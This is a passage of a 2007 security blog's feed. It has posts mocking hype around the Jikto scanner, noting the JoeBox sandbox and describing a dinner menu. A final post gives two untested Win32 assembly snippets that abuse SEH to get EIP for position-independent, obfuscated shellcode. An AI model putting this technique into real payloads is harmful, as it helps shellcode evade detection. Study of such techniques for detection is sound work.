rumor is, that this code turns your computer or your browser into a drone. It's just yet another non-resident script. Additionally, because of the XMLHttpRequests, you're limited to your own domain to scan (unless you find a cool vulnerability in your browser or already know a XSS in the target site to inject Jikto).</p> <p>All in all, this is just some hyped, lame, <i>proof of concept</i> script, if you ask me. :/</p> <p><b>Update:</b><br /> <a href="http://www.computerwoche.de/nachrichten/590894/?ILC-RSSFEED&feed=590894%20rssnews">One of my favourite hypes</a> regarding Jikto says ``the hacker tool Jikto is spreading uncontrolled'' and ``the script captures computers of clueless Internet users to perform a <i>portscan</i>''; ``security experts are afraid that blackhats could misuse the extremely dangerous potential of this software''.</p> <p>Botnets? No real threat, not interesting to the media... Hey, there is already a cool botnet monitoring tool from Microsoft, featuring a laggy GUI and dieing if more than 2k nets are monitored. Hey, subfolders for each botnet are cool.<br /> Seriously, let's just all commit suicide in such an IT security world. :/</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-9109500915196439672?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-1424927771823317052007-03-06T10:19:00.000+01:002007-03-06T10:27:10.404+01:00New Sandbox Application on the Horizon<p>A new sandbox application has poppep up on the net: <a href="http://www.joebox.org/">JoeBox</a>. Of course it uses its own ``unique special <a href="http://www.joebox.org/concept.php">concept</a>''; the same unique special concept we were seeing in <a href="http://www.cwsandbox.org/">CWSandbox</a> and some other private tools before.</p> <p>It uses the same old userland API hooking tricks, everybody else seems to be using <i>but</i> this one runs on a physical machine and not in a virtual machine. Let's hope there is at least one bigger difference: this one could be free. But in the age of every company registering .org's like crazy, this will probably stay a dream.</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-142492777182331705?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-41314888576334448382007-02-27T02:45:00.000+01:002007-02-27T03:06:04.149+01:00Dinner for Five<p>Last Saturday, my mother and me (visiting at her during the weekend) got guests: <a href="http://myblog.de/me-j8806/">Janine</a>'s parents and herself were coming over for some nice dinner. <a href="http://flickr.com/photos/oxff/sets/72157594555389522/detail/">Some photos</a> are available.</p> <p><b>Entry:</b> `Stremel Lachs'<br /> Make some simple <a href="http://en.wikipedia.org/wiki/Guacamole">Guacamole</a> based of Avocado: Mix the squashed Avocado with lemon juice and salt, that's it. Serve the raw salmon filet with the Guacamole and some baguette, offer a twist of lemon optionally to the salmon.</p> <p><b>Main Course:</b> `Rindersteak an Haricot-Verde, Rosmarienkartoffeln'<br /> Fry the steak in a very hot pan in olive oil, but not too long, so it's medium. Cook string beans and roll them into bacon, fry these little packs in a pan. Cook potatoes in the skin, remove the skin and bake them with rosemary and olive oil in the oven. Serve all together with a sauce based on the steak's brew, cream and a little bit of smokey BBQ sauce (thanks Ryan!).</p> <p><b>Dessert:</b> `Tiramisu'<br /> The nice Italian desert, don't ask me for a recipe -- I didn't do it and I don't know how to! </p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-4131488857633444838?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0tag:blogger.com,1999:blog-35193323.post-50280243097186099142007-02-23T19:08:00.000+01:002007-02-23T19:17:32.446+01:00Get EIP with SEH<p>While talking about shellcode detection with <a href="http://nepenthes.mwcollect.org/">Paul and Markus</a>, I remembered some SEH based code I've written some time ago for some code to be position independent (and obfuscated). Unfortunately, I couldn't find the original source anymore but wrote up, what I remembered (and didn't test it):</p> <p><small><b>Snippet 1: Custom Handler</b></small> <code><pre>mov eax, [esp+0x10] mov eax, [eax+0x0c] push eax jmp eax</pre></code></p> <p><small><b>Snippet 2: SEH Overwrite</b></small> <code><pre>mov edi, [fs:0] mov edi, [edi+4] mov [edi+0], 0x448b6766 mov [edi+4], 0x67661024 mov [edi+8], 0x660c408b mov [edi+12], 0xe0ff6650 xor eax, eax xor [eax], eax pop eax</pre></code></p> <p>Basically, the second snippet fetches the address of the current top-most SEH, overwrites it with the binary version of the first snippet and triggers a general protection fault. The address is then popped. Of course, this only works on Win32.</p> <p>At the time I `invented' that code, I didn't have any reference for such code ITW. But I'm pretty sure, I'm not the first one to have that idea (although a quick Google run didn't reveal anything to me).</p><div class="blogger-post-footer"><script src="http://www.google-analytics.com/urchin.js" type="text/javascript"> </script> <script type="text/javascript"> _uacct = "UA-688266-2"; urchinTracker(); </script><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35193323-5028024309718609914?l=blog.oxff.net%2Findex.html'/></div>oxffhttp://www.blogger.com/profile/15859154623392878112noreply@blogger.com0